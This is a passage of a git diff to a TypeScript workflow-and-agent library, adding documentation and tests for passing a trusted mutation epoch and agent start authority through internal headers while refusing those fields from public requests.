a trusted internal channel. Authenticate that channel before interpreting its header. Host composition now forwards the captured epoch through the protected internal header and trusted agent bridge. This transport does not enforce the current epoch at a write; activation still requires final-write support from every writer. + +`createFlowsafeWorker()` accepts a numeric `mutationEpoch` or a synchronous environment callback. It captures the configuration source at construction and evaluates the callback once at fetch entry, before deployment checks, authentication, or body reads. Resolver and principal-context constructors accept a scalar epoch. Public requests cannot supply the protected header or start-authority fields in JSON. + +Workflow and agent starts retain the original actor, principal, epoch and selectors across body, policy and ownership waits. Context snapshots preserve declared host methods on their original receiver, including class-backed methods. Both Durable Object shells capture header strings before asynchronous deployment verification and interpret only those captured strings afterward. + +`RunnerRuntime.start()` accepts the trusted epoch, logical start identity, agent mode, prepared-identity callback and resource-owner guard. It captures their declared fields before waits but continues using v1 provenance and the existing state-only start predicate. It does not invoke the callback or automatically enter admission or repair scopes; the coordinated writer/recovery integration remains required. + +Economic-operation lists must contain an entry at every index. Start, resume and shared lifecycle parsing reject sparse lists with the existing lifecycle-format error instead of persisting null placeholders or silently dropping operations. Valid dense lists retain their existing validation and settlement behavior. ### Use explicit initial-admission scopes diff --git a/docs/durable-agents.md b/docs/durable-agents.md index acab7018..3449c340 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -168,6 +168,12 @@ const durableAgent = createFlowsafeDurableAgent({ `createFlowsafeDurableAgent()` registers Mastra's `durable-agentic-loop` workflow on the supplied runtime. Its `stream()`, `generate()`, and `prepare()` entry points require a host-minted opaque run id. Only a start registered through `streamUntilPersisted()` reaches `RunnerRuntime`; an unregistered start fails terminally after a bounded, best-effort attempt to preserve its serialized input. Preservation is skipped when the thread is missing or memory is explicitly read-only. `prepare()` remains an initial-execution API and runs the full initial processor chain. `resumeViaRuntime()` uses the dedicated registry rehydration behavior described above. +The trusted host calls `streamUntilPersisted(messages, options, requestedBy, requestedByKind, attemptToken, scheduleDispatch, idempotencyKey, authority)`. The eighth argument is required; pass explicit `undefined` for unused positional options. Its `AgentStartAuthority` type is exported only from `agent-runner`. It carries the initiating owner, agent and thread identity, threaded mode, optional caller epoch, and separate resource-owner guard. + +The bridge captures that authority before streaming and keeps it out of Core input, stream options and public JSON. It preserves the original method caller's requester identity even when a schedule or thread has a different resource owner. Mutable caller objects cannot replace the captured values after an await. + +The `onPreparedStartIdentity` property must exist on the authority, but may be `undefined` at this transport stage. Built-in hosts explicitly supply `undefined`; supplied functions are retained without invocation. Runtime and owner-recovery journals remain v1 until coordinated admission and recovery activation. Do not supply a placeholder callback as evidence of a prepared journal. + The runtime's pub/sub identity is reused by default. This lets the durable loop, observer, and active-thread signal delivery share one feed inside the thread Durable Object. This wrapper does not add the guarded-agent brand or catalog authorization to a raw agent. Use `agent-host` for the supported protected public surface. Route clients through its authenticated run routes because only the host start seam may execute a run. Direct `stream()` with an unregistered id resolves to a failed output; direct `generate()` rejects. `stream()`, `generate()`, `prepare()`, and `streamUntilPersisted()` synchronously refuse a live id. A successful `prepare({ runId: X })` keeps `X` live until core cleans up that prepared run. diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 85b1b4c2..63799858 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -306,7 +306,9 @@ Provisioning requires `--initial-fence-state open` or `--initial-fence-state mig Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `transitionRevision`. Upgraded commands compare expected state, epoch, and revision; exact retries preserve proof bindings and timestamps while that command remains the last applied command. Advancing the epoch also sets its sticky requirement; ordinary lock, proof, and reopen transitions preserve both. These fields describe administrative state only: activate the requirement only after every run and schedule writer supports final-write epoch checks. See the [administration contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#control-plane-routes) for request fields, compatibility, and conflicts. -The `do-runner` and `host-kit` entry points export `normalizeRunExecutionIdentity`, `normalizeD1RunExecutionIdentity`, `normalizeStartIdentity`, `normalizeStartExecutionIdentity`, and mutation-epoch validation/header helpers. They copy validated identity data without authenticating it. String D1 prefixes normalize to lowercase; null explicitly means no D1 namespace and differs from the empty default prefix. Reservation reads expose legacy, unbound, or bound metadata, while current writes still create legacy bindings. Stored `proofExecution` remains server-side and is omitted from admin JSON. These schema/helper APIs do not enable runtime generation checks or final-write enforcement. +The `do-runner` and `host-kit` entry points export `normalizeRunExecutionIdentity`, `normalizeD1RunExecutionIdentity`, `normalizeStartIdentity`, `normalizeStartExecutionIdentity`, and mutation-epoch validation/header helpers. They copy validated identity data without authenticating it. String D1 prefixes normalize to lowercase; null explicitly means no D1 namespace and differs from the empty default prefix. + +Reservation reads expose legacy, unbound, or bound metadata, while current writes still create legacy bindings. Stored `proofExecution` remains server-side and is omitted from admin JSON. These schema/helper APIs do not enable runtime generation checks or final-write enforcement. Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment. @@ -499,6 +501,10 @@ Complete wiring is in the [durable-agents guide](https://github.com/ProofOfTechO The composed `createFlowsafeWorker()` owns the shared route and maintenance-duty pipeline. Hosts inject workflows, identity verification, topology-backed optional routers, budget wrappers, notification transport, an invocation-scoped artifact-store factory, the storage table prefix, schedule tick, and extra purge duties. +Configure `mutationEpoch` with a nonnegative safe integer or a synchronous environment callback. The Worker captures it before deployment verification or authentication, then forwards it through trusted contexts and protected internal headers. Start paths preserve the original actor, principal, epoch and selectors across waits, including class-backed context method receivers. Do not accept the epoch from public headers or start JSON. + +The internal durable-agent host start requires an eighth `AgentStartAuthority` argument, with an explicit `onPreparedStartIdentity` property. Built-in hosts supply `undefined` while Runtime and owner journals remain v1. This transport does not activate final-write epoch checks or managed recovery; the [deployment reference](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/deployment-reference.md#configure-the-trusted-caller-epoch) and [durable-agents guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/durable-agents.md) describe the boundary. + Protect `GET` and `POST /admin/execution-fence` plus `GET /admin/inventory` with a distinct `MAINTENANCE_ADMIN_SECRET`. Fence transitions use CAS and return `409` with `FENCE_CAS_CONFLICT` when the expected state is stale. Fenced execution returns `503` with an `EXECUTION_FENCED` reason. The agent-host and stream routers preserve structured `503` and `409` refusals instead of collapsing them to a generic `500`. Every leaf option that accepts `ExecutionFenceWiring` requires an explicit store or `'none'`. Run-router, agent-thread-topology, and storage initialization also require explicit start-idempotency wiring. Use `'none'` only when no database exists. `BackgroundTaskHost` no longer exposes its manager; call `enqueue()`, `getTask()`, `listTasks()`, or `stream()` on the host and use `BackgroundTaskReads` for read-only route composition. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index f7366d2a..90452aa3 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -87,6 +87,29 @@ try { const manifest = JSON.parse( readFileSync(join(packageDirectory, 'package.json'), 'utf8'), ); + assert.deepEqual( + Object.keys(manifest.exports).sort(), + [ + '.', + './agent-host', + './agent-runner', + './approval-api', + './approval-ui', + './artifacts', + './audit-export', + './background-tasks', + './deployment-identity-protocol', + './do-runner', + './goals', + './host-kit', + './host-kit/module', + './package.json', + './schedules', + './signal-providers', + './signals', + './signals/client', + ].sort(), + ); for (const leaf of [ 'fenced-workflows-d1', 'fenced-workflow-capability', @@ -411,6 +434,115 @@ void bgHost.stream; void sweepExpiredRunDeadlines; void createFlowsafeRunnerLifecycle; void createRunRouter; +`, + ); + writeFileSync( + join(consumer, 'transport-consumer.ts'), + `import { + type ActorContext, ApprovalService, createActorResolver, + createPrincipalActorContext, humanPrincipal, InMemoryApprovalStoreFactory, +} from '@proofoftech/flowsafe/approval-api'; +import { + type RunnerRuntime, type RunExecutionIdentity, type StartRunOptions, + type ThreadScope, +} from '@proofoftech/flowsafe/do-runner'; +import { + createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, + type RunStartInput, +} from '@proofoftech/flowsafe/host-kit'; +import { + type AgentStartAuthority, type FlowsafeDurableAgent, +} from '@proofoftech/flowsafe/agent-runner'; +// @ts-expect-error internal context capture is not a root export +import type { captureActorContext as RootCapture } from '@proofoftech/flowsafe'; +// @ts-expect-error internal context capture is not an approval export +import type { captureActorContext as ApprovalCapture } from '@proofoftech/flowsafe/approval-api'; +// @ts-expect-error internal context capture is not a host-kit export +import type { captureActorContext as HostCapture } from '@proofoftech/flowsafe/host-kit'; +// @ts-expect-error internal context capture is not an agent-host export +import type { captureActorContext as AgentCapture } from '@proofoftech/flowsafe/agent-host'; +// @ts-expect-error internal context capture is not an agent-runner export +import type { captureActorContext as AgentRunnerCapture } from '@proofoftech/flowsafe/agent-runner'; +// @ts-expect-error internal context capture is not a do-runner export +import type { captureActorContext as RunnerCapture } from '@proofoftech/flowsafe/do-runner'; +// @ts-expect-error agent authority belongs only to agent-runner +import type { AgentStartAuthority as RootAuthority } from '@proofoftech/flowsafe'; +// @ts-expect-error agent authority belongs only to agent-runner +import type { AgentStartAuthority as ApprovalAuthority } from '@proofoftech/flowsafe/approval-api'; +// @ts-expect-error agent authority belongs only to agent-runner +import type { AgentStartAuthority as HostAuthority } from '@proofoftech/flowsafe/host-kit'; +// @ts-expect-error agent authority belongs only to agent-runner +import type { AgentStartAuthority as AgentAuthority } from '@proofoftech/flowsafe/agent-host'; +// @ts-expect-error agent authority belongs only to agent-runner +import type { AgentStartAuthority as RunnerAuthority } from '@proofoftech/flowsafe/do-runner'; + +const actor = { id: 'owner', role: 'operator' } as const; +const principal = humanPrincipal(actor); +const factory = new InMemoryApprovalStoreFactory(); +const service = new ApprovalService({ store: factory.store(), executionFence: 'none' }); +const legacyContext: ActorContext = { + actor, principal, resourceOwner: { kind: 'human', id: actor.id }, + service: () => service, newRunId: () => 'run', newThreadId: () => 'thread', + resourceIdFromKey: key => key, claimResource: async () => {}, + releaseResource: async () => {}, resourceOwnerFor: async () => undefined, + canAccessResource: async () => true, canSelfDecide: () => false, +}; +const epochContext: ActorContext = { ...legacyContext, mutationEpoch: 2 }; +createActorResolver({ + authenticate: () => actor, storeFactory: factory, + buildService: () => service, mutationEpoch: 2, +}); +createPrincipalActorContext({ + principal, storeFactory: factory, buildService: () => service, mutationEpoch: 2, +}); +declare const hostInit: ThreadScope['init']; +const legacyScope: ThreadScope = { threadId: 'thread', principal, init: hostInit }; +const epochScope: ThreadScope = { ...legacyScope, mutationEpoch: 2 }; +const legacyInput: RunStartInput = { workflowId: 'workflow', runId: 'run', inputData: {}, principal }; +const epochInput: RunStartInput = { ...legacyInput, mutationEpoch: 2 }; +type EpochEnv = FlowsafeWorkerEnv & { artifactEpoch: number }; +const workerConfig: FlowsafeWorkerConfig = { + systemPrincipalId: 'system', workflows: [], + buildVerifier: () => ({ verify: async () => actor }), + maintenance: { sweepIntervalMs: 1000, purgeIntervalMs: 1000 }, + mutationEpoch: env => env.artifactEpoch, +}; +createFlowsafeWorker(workerConfig); +createFlowsafeWorker({ ...workerConfig, mutationEpoch: 0 }); +const onPrepared = (execution: RunExecutionIdentity): void => { void execution.startToken; }; +const legacyOptions: StartRunOptions = { runId: 'legacy' }; +const options: StartRunOptions = { + runId: 'run', requestedBy: actor.id, requestedByKind: 'human', + attemptToken: 'attempt', mutationEpoch: 2, + startIdentity: { owner: { kind: 'human', id: actor.id }, target: { kind: 'workflow', id: 'workflow' } }, + onPreparedStartIdentity: onPrepared, + runOwnerGuard: { owner: { kind: 'service', id: 'resource-owner' }, reservationToken: 'attempt' }, +}; +// @ts-expect-error requester identity is an all-or-neither pair +const partialRequester: StartRunOptions = { runId: 'run', requestedBy: actor.id }; +// @ts-expect-error direct Runtime epoch is numeric +const stringEpoch: StartRunOptions = { runId: 'run', mutationEpoch: '2' }; +declare const runtime: RunnerRuntime; +void runtime.start('workflow', options); +const authority: AgentStartAuthority = { + mutationEpoch: 2, + startIdentity: { owner: { kind: 'human', id: actor.id }, target: { kind: 'agent', id: 'agent', threadId: 'thread' } }, + agentStart: { threaded: true }, onPreparedStartIdentity: undefined, +}; +const callbackAuthority: AgentStartAuthority = { ...authority, onPreparedStartIdentity: onPrepared }; +declare const durable: FlowsafeDurableAgent; +void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, authority); +void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, callbackAuthority); +// @ts-expect-error the eighth trusted authority argument is required +void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined); +const { onPreparedStartIdentity: omitted, ...withoutCallback } = authority; +// @ts-expect-error the callback property is required even when undefined +void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, withoutCallback); +// @ts-expect-error callback must be a function or undefined +void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, { ...authority, onPreparedStartIdentity: 'invalid' }); +// @ts-expect-error the bridge requires an agent target +void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, { ...authority, startIdentity: { owner: authority.startIdentity.owner, target: { kind: 'workflow', id: 'workflow' } } }); +void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochInput, legacyOptions, partialRequester, stringEpoch, omitted]; `, ); writeFileSync( @@ -424,7 +556,7 @@ void createRunRouter; noEmit: true, skipLibCheck: true, }, - files: ['consumer.ts'], + files: ['consumer.ts', 'transport-consumer.ts'], }), ); run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.json'], consumer); @@ -452,6 +584,7 @@ import * as approvals from '@proofoftech/flowsafe/approval-api'; import * as backgroundTasks from '@proofoftech/flowsafe/background-tasks'; import * as doRunner from '@proofoftech/flowsafe/do-runner'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; +import * as agentRunner from '@proofoftech/flowsafe/agent-runner'; import { Mastra } from '@mastra/core/mastra'; import { createStep, createWorkflow } from '@mastra/core/workflows'; import { z } from 'zod'; @@ -498,6 +631,16 @@ assert.equal(typeof hostKit.createRunRouter, 'function'); assert.equal(typeof hostKit.createFlowsafeWorker, 'function'); assert.equal(hostKit.FENCED_WORKFLOW_STORAGE, doRunner.FENCED_WORKFLOW_STORAGE); assert.equal('FencedWorkflowsStorageD1' in hostKit, false); +assert.equal(typeof agentRunner.FlowsafeDurableAgent, 'function'); +for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner]) { + for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority']) { + assert.equal(name in api, false, name); + } +} +for (const name of ['normalizeMutationEpoch', 'stampMutationEpoch', 'mutationEpochFromHeader', 'InvalidMutationEpochError', 'MutationEpochMismatchError']) { + assert.equal(doRunner[name], hostKit[name], name); + assert.equal(doRunner[name], flowsafe[name], name); +} assert.equal(typeof doRunner.RunLifecycleBlockedError, 'function'); assert.equal(doRunner.RunLifecycleBlockedError, flowsafe.RunLifecycleBlockedError); assert.equal('RunLifecycleBlockedError' in hostKit, false); diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs index 44c04373..3567a744 100644 --- a/packages/flowsafe/scripts/provisioning-pack-test.mjs +++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs @@ -320,6 +320,10 @@ import { } from '@proofoftech/flowsafe/host-kit'; import * as RunnerAdmission from '@proofoftech/flowsafe/do-runner'; import * as HostAdmission from '@proofoftech/flowsafe/host-kit'; +import { + type ActorContext, ApprovalService, createActorResolver, + createPrincipalActorContext, humanPrincipal, InMemoryApprovalStoreFactory, +} from '@proofoftech/flowsafe/approval-api'; const secret = 'x'.repeat(32); const headers: Record = deploymentIdentityHeaders(secret); @@ -392,6 +396,32 @@ async function checkReservationTypes(store: RunnerAdmission.StartIdempotencyStor return { binding, kind }; } void [hostRunIdentity, hostD1Identity, hostStartIdentity, hostExecutionIdentity, hostD1StartIdentity, hostEpochContext, checkReservationTypes]; +const actor = { id: 'owner', role: 'operator' } as const; +const principal = humanPrincipal(actor); +const factory = new InMemoryApprovalStoreFactory(); +const contextOptions = { + principal, storeFactory: factory, + buildService: (store: ReturnType) => new ApprovalService({ store, executionFence: 'none' }), +}; +const legacyContext: ActorContext = createPrincipalActorContext(contextOptions); +const scopedContext: ActorContext = createPrincipalActorContext({ ...contextOptions, mutationEpoch: 2 }); +createActorResolver({ ...contextOptions, authenticate: () => actor, mutationEpoch: 2 }); +declare const hostInit: RunnerAdmission.InitResult; +const legacyScope: RunnerAdmission.ThreadScope = { threadId: 'thread', principal, init: hostInit }; +const epochScope: RunnerAdmission.ThreadScope = { ...legacyScope, mutationEpoch: 2 }; +const legacyStart: HostAdmission.RunStartInput = { workflowId: 'workflow', runId: 'run', inputData: {}, principal }; +const epochStart: HostAdmission.RunStartInput = { ...legacyStart, mutationEpoch: 2 }; +const runtimeStart: RunnerAdmission.StartRunOptions = { runId: 'run', mutationEpoch: 2, requestedBy: actor.id, requestedByKind: 'human' }; +type EpochEnv = HostAdmission.FlowsafeWorkerEnv & { artifactEpoch: number }; +const workerConfig: HostAdmission.FlowsafeWorkerConfig = { + systemPrincipalId: 'system', workflows: [], + buildVerifier: () => ({ verify: async () => actor }), + maintenance: { sweepIntervalMs: 1000, purgeIntervalMs: 1000 }, + mutationEpoch: env => env.artifactEpoch, +}; +HostAdmission.createFlowsafeWorker(workerConfig); +HostAdmission.createFlowsafeWorker({ ...workerConfig, mutationEpoch: 0 }); +void [legacyContext, scopedContext, legacyScope, epochScope, legacyStart, epochStart, runtimeStart]; `, ); writeFileSync( diff --git a/packages/flowsafe/src/agent-host/router.test.ts b/packages/flowsafe/src/agent-host/router.test.ts index 7288d8f8..f752efaa 100644 --- a/packages/flowsafe/src/agent-host/router.test.ts +++ b/packages/flowsafe/src/agent-host/router.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it, vi } from 'vitest'; +import { TEST_DEPLOYMENT_IDENTITY_SECRET } from '../../test-support/deployment-identity.js'; import type { ActorContext, ApprovalActor, @@ -16,10 +17,20 @@ import { doErrorResponse, type ExecutionFenceDatabase, ExecutionFenceStore, + InvalidMutationEpochError, + MutationEpochMismatchError, } from '../do-runner/index.js'; -import { doSummary, RunRouteError } from '../host-kit/index.js'; +import { + doSummary, + RunRouteError, + type ThreadNamespaceLike, + type ThreadRequestInit, +} from '../host-kit/index.js'; import { createAgentRouter } from './router.js'; -import type { AgentThreadTopology } from './thread-topology.js'; +import { + type AgentThreadTopology, + createAgentThreadTopology, +} from './thread-topology.js'; import type { AgentRunEnvelope } from './types.js'; const agents = [ @@ -107,6 +118,279 @@ async function payload(response: Response): Promise> { return (await response.json()) as Record; } +class CReceiverContext implements ActorContext { + #base = context(); + actor = this.#base.actor; + principal = this.#base.principal; + resourceOwner = this.#base.resourceOwner; + mutationEpoch = 2; + service() { + return this.#base.service(); + } + newRunId() { + return this.#base.newRunId(); + } + newThreadId() { + return this.#base.newThreadId(); + } + resourceIdFromKey(key: string) { + return this.#base.resourceIdFromKey(key); + } + claimResource(...args: Parameters) { + return this.#base.claimResource(...args); + } + releaseResource(...args: Parameters) { + return this.#base.releaseResource(...args); + } + resourceOwnerFor(...args: Parameters) { + return this.#base.resourceOwnerFor(...args); + } + canAccessResource(...args: Parameters) { + return this.#base.canAccessResource(...args); + } + canSelfDecide(role: ApprovalRole) { + return this.#base.canSelfDecide(role); + } +} + +function cAgentTopology(response?: Response) { + const hits: Array<{ threadId: string; init: ThreadRequestInit | undefined }> = + []; + const namespace: ThreadNamespaceLike = { + idFromName: (name) => name, + get: (threadId) => ({ + fetch: (async (_request: Request | string, init?: ThreadRequestInit) => { + hits.push({ threadId, init }); + return response ?? Response.json(envelope()); + }) as ReturnType['get']>['fetch'], + }), + }; + return { + hits, + host: createAgentThreadTopology( + namespace, + TEST_DEPLOYMENT_IDENTITY_SECRET, + { executionFence: 'none', startIdempotency: 'none' }, + ), + }; +} + +describe('C public agent transport', () => { + it.each([ + 'class', + 'non-enumerable', + 'own', + ] as const)('C agent router retains original authority and method receivers through the real topology: %s', async (layout) => { + const source = new CReceiverContext(); + const methods = [ + 'service', + 'newRunId', + 'newThreadId', + 'resourceIdFromKey', + 'claimResource', + 'releaseResource', + 'resourceOwnerFor', + 'canAccessResource', + 'canSelfDecide', + ] as const; + if (layout !== 'class') { + for (const name of methods) + Object.defineProperty(source, name, { + value: source[name], + configurable: true, + writable: true, + enumerable: layout === 'own', + }); + if (layout === 'non-enumerable') { + for (const name of [ + 'actor', + 'principal', + 'resourceOwner', + 'mutationEpoch', + ]) + Object.defineProperty(source, name, { enumerable: false }); + } + } + const originalPrincipal = source.principal; + const fixture = cAgentTopology(); + const start = vi.spyOn(fixture.host, 'start'); + const router = createAgentRouter({ + agents, + resolve: async () => source, + topology: fixture.host, + }); + let enter = () => {}; + let release = () => {}; + const entered = new Promise((resolve) => { + enter = resolve; + }); + const held = new Promise((resolve) => { + release = resolve; + }); + const body = new ReadableStream( + { + async pull(controller) { + enter(); + await held; + controller.enqueue(new TextEncoder().encode('{"prompt":"original"}')); + controller.close(); + }, + }, + { highWaterMark: 0 }, + ); + const request = new Request('https://host/agents/writer/runs', { + method: 'POST', + body, + duplex: 'half', + } as RequestInit & { duplex: 'half' }); + const pending = router(request); + const outcome = pending.then( + () => false, + () => false, + ); + const replacement = vi.fn(() => 'replacement'); + try { + expect(await Promise.race([entered.then(() => true), outcome])).toBe( + true, + ); + expect(start).not.toHaveBeenCalled(); + Object.assign(source.actor, { id: 'replacement', role: 'viewer' }); + Object.assign(source, { + principal: humanPrincipal({ id: 'replacement', role: 'viewer' }), + mutationEpoch: 3, + newRunId: replacement, + newThreadId: replacement, + resourceIdFromKey: replacement, + }); + } finally { + release(); + await outcome; + } + expect((await pending)?.status).toBe(200); + expect(start).toHaveBeenCalledOnce(); + const captured = start.mock.calls[0]?.[0]; + expect(captured).toMatchObject({ + actor: { id: 'operator-1', role: 'operator' }, + principal: originalPrincipal, + mutationEpoch: 2, + }); + for (const name of methods) + expect(typeof captured?.[name]).toBe('function'); + expect(fixture.hits).toHaveLength(1); + expect(fixture.hits[0]?.init?.headers).toMatchObject({ + 'x-flowsafe-mutation-epoch': '2', + 'x-flowsafe-principal': JSON.stringify(originalPrincipal), + }); + expect(JSON.parse(fixture.hits[0]?.init?.body ?? '{}')).toMatchObject({ + runId: 'acme_run', + threadId: 'acme_thread', + resourceId: 'acme_resource', + agentId: 'writer', + prompt: 'original', + }); + expect(replacement).not.toHaveBeenCalled(); + expect(Object.isFrozen(source)).toBe(false); + expect(Object.isFrozen(source.actor)).toBe(false); + }); + + it.each([ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ])('C agent route refuses public authority field %s', async (field) => { + const host = topology(); + const router = createAgentRouter({ + agents, + resolve: async () => context(), + topology: host, + }); + const response = await router( + new Request('https://host/agents/writer/runs', { + method: 'POST', + body: JSON.stringify({ prompt: 'go', [field]: 2 }), + }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: `field '${field}' is not allowed`, + }); + expect(host.start).not.toHaveBeenCalled(); + }); + + it('C agent route retains direct invalid-epoch error data', async () => { + const host = topology(); + const source = { ...context(), mutationEpoch: -1 }; + const router = createAgentRouter({ + agents, + resolve: async () => source, + topology: host, + }); + const response = await router( + new Request('https://host/agents/writer/runs', { + method: 'POST', + body: '{"prompt":"go"}', + }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: 'mutationEpoch must be a nonnegative safe integer or undefined', + reason: { code: 'INVALID_MUTATION_EPOCH' }, + }); + expect(host.start).not.toHaveBeenCalled(); + }); + + it.each([ + 'missing', + 'stale', + 'future', + 'invalid', + ] as const)('C agent route retains complete encoded epoch refusals: %s', async (classification) => { + const error = + classification === 'invalid' + ? new InvalidMutationEpochError() + : new MutationEpochMismatchError(classification, 2); + const fixture = cAgentTopology(doErrorResponse(error)); + const router = createAgentRouter({ + agents, + resolve: async () => context(), + topology: fixture.host, + }); + const response = await router( + new Request('https://host/agents/writer/runs', { + method: 'POST', + body: '{"prompt":"go"}', + }), + ); + expect(response?.status).toBe(classification === 'invalid' ? 400 : 409); + expect(await response?.json()).toEqual( + classification === 'invalid' + ? { + error: + 'mutationEpoch must be a nonnegative safe integer or undefined', + reason: { code: 'INVALID_MUTATION_EPOCH' }, + } + : { + error: 'mutation epoch does not match the active deployment', + reason: { + code: 'MUTATION_EPOCH_MISMATCH', + classification, + mutationEpoch: 2, + }, + }, + ); + expect(fixture.hits).toHaveLength(1); + expect(fixture.hits[0]?.init?.headers).not.toHaveProperty( + 'x-flowsafe-mutation-epoch', + ); + }); +}); + describe('createAgentRouter', () => { it('lists metadata and the authenticated actor for every role', async () => { const host = topology(); diff --git a/packages/flowsafe/src/agent-host/router.ts b/packages/flowsafe/src/agent-host/router.ts index 47507d40..c5c0dd61 100644 --- a/packages/flowsafe/src/agent-host/router.ts +++ b/packages/flowsafe/src/agent-host/router.ts @@ -1,10 +1,15 @@ // SPDX-License-Identifier: Apache-2.0 +import { captureActorContext } from '../approval-api/actor-context.js'; import { ActorResolutionError, type ActorResolver, RUN_START_ROLES, } from '../approval-api/index.js'; +import { + InvalidMutationEpochError, + MutationEpochMismatchError, +} from '../do-runner/execution-admission.js'; import { isPathSafeId } from '../do-runner/index.js'; import { RunRouteError, @@ -184,6 +189,12 @@ function offsetFor(url: URL): number | Response { } function internalError(error: unknown, route: MatchedRoute): Response { + if ( + error instanceof InvalidMutationEpochError || + error instanceof MutationEpochMismatchError + ) { + return json({ error: error.message, reason: error.reason }, error.status); + } if (error instanceof ActorResolutionError) { return json({ error: 'forbidden' }, 403); } @@ -221,8 +232,13 @@ export function createAgentRouter(options: AgentRouterOptions): AgentRouter { if (route.kind === 'not-found') return json({ error: 'not found' }, 404); try { - const context = await options.resolve(request); - if (!context) return json({ error: 'authentication required' }, 401); + const sourceContext = await options.resolve(request); + if (!sourceContext) + return json({ error: 'authentication required' }, 401); + const context = + route.kind === 'start' && request.method === route.allow + ? captureActorContext(sourceContext) + : sourceContext; if (route.kind === 'catalog') { if (request.method !== route.allow) { diff --git a/packages/flowsafe/src/agent-host/thread-host.test.ts b/packages/flowsafe/src/agent-host/thread-host.test.ts index 026accd7..f6c6e88e 100644 --- a/packages/flowsafe/src/agent-host/thread-host.test.ts +++ b/packages/flowsafe/src/agent-host/thread-host.test.ts @@ -3,7 +3,9 @@ import type { MastraCompositeStore } from '@mastra/core/storage'; import type { GuardedAgentHandle } from '@proofoftech/breakwater/agent'; import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import type { FlowsafeDurableAgent } from '../agent-runner/durable-agent-runner.js'; import { type ApprovalAuditEvent, type ApprovalRecord, @@ -12,6 +14,11 @@ import { InMemoryResourceOwnershipStore, type RecoverableResourceOwnershipStore, } from '../approval-api/index.js'; +import { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, +} from '../do-runner/fenced-workflow-capability.js'; +import type { FencedWorkflowsStorageD1 } from '../do-runner/fenced-workflows-d1.js'; import type { InitResult, RequestContextProvider, @@ -21,7 +28,11 @@ import type { ThreadScope, } from '../do-runner/index.js'; import { + createD1Storage, doErrorResponse, + type ExecutionFenceDatabase, + ExecutionFenceStore, + init, RunStateUnreadableError, resourceIdFromKey, SUSPENSION_TIMEOUT_RESUME_KEY, @@ -36,10 +47,12 @@ import { type AutomatedEntryAuthorizer, createThreadAgentHost, type PrincipalPermissionResolver, + type ThreadAgentStartInput, } from './thread-host.js'; import type { AgentAutomationRule, Permission } from './types.js'; const mocked = vi.hoisted(() => ({ + mastra: vi.fn(), stream: vi.fn(), resumeViaRuntime: vi.fn(), observe: vi.fn(), @@ -57,8 +70,8 @@ vi.mock('@proofoftech/breakwater/agent', () => ({ (value as { guarded?: unknown }).guarded === true, })); -vi.mock('@mastra/core/mastra', () => ({ - Mastra: class { +vi.mock('@mastra/core/mastra', () => { + class Mastra { readonly agentThreadStreamRuntime = {}; readonly agents: Record; @@ -71,8 +84,15 @@ vi.mock('@mastra/core/mastra', () => ({ (agent) => agent.id === id, ); } - }, -})); + } + return { + Mastra: vi.fn(function MastraConstructor(options: { + agents: Record; + }) { + return mocked.mastra(options) ?? new Mastra(options); + }), + }; +}); vi.mock('../agent-runner/index.js', async (importOriginal) => { const original = @@ -162,6 +182,8 @@ function harness( approvalService?: ApprovalService; resourceAccess?: RecoverableResourceOwnershipStore; runtime?: Partial; + init?: InitResult; + storage?: MastraCompositeStore; discardScheduleDispatch?: ( scheduleId: string, dispatchId: string, @@ -228,11 +250,13 @@ function harness( }; }; setSnapshot(); - const storage = { - getStore: async () => ({ - loadWorkflowSnapshot: async () => snapshot, - }), - } as unknown as MastraCompositeStore; + const storage = + options.storage ?? + ({ + getStore: async () => ({ + loadWorkflowSnapshot: async () => snapshot, + }), + } as unknown 